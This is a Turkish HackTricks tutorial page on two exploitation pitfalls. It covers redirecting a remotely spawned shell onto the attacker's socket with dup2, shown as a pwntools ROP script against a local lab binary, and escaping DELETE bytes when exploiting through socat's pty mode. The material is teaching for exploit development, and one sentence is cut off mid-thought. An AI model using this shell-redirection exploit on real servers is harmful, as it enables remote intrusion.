hacktricks/binary-exploitation/common-exploiting-problems.md

3 KiB
Raw Blame History

Yaygın Sömürü Problemleri

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

Uzaktan Sömürüde FD'ler

Örneğin, system('/bin/sh') çağıran bir uzak sunucuya bir saldırı gönderildiğinde, bu tabii ki sunucu işlemi içinde yürütülecek ve /bin/sh stdin'den (FD: 0) giriş bekleyecek ve çıktıyı stdout ve stderr'de (FD'ler 1 ve 2) yazdıracaktır. Bu nedenle saldırgan kabukla etkileşimde bulunamayacaktır.

Bunu düzeltmenin bir yolu, sunucunun başlatıldığında FD numarası 3 (dinleme için) oluşturduğunu ve ardından bağlantınızın FD numarasının 4 olacağını varsaymaktır. Bu nedenle, dup2 sistem çağrısını kullanarak stdin'i (FD 0) ve stdout'u (FD 1) saldırgan bağlantısının FD 4'ünde (saldırganın bağlantısının olduğu) çoğaltmak mümkün olacak ve böylece kabukla iletişim kurulabilecektir. Çünkü kabuk yürütüldüğünde.

Buradan örnek sömürüye ulaşın:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Socat zaten stdin ve stdout'u sokete aktarıyor. Ancak, pty modu DELETE karakterlerini içerir. Bu nedenle, bir \x7f ( DELETE -) gönderirseniz, exploitinizin önceki karakterini silecektir.

Bunu atlatmak için, herhangi bir gönderilen \x7f'den önce \x16 kaçış karakterinin eklenmesi gerekir.

Burada bu davranışın bir örneğini bulabilirsiniz.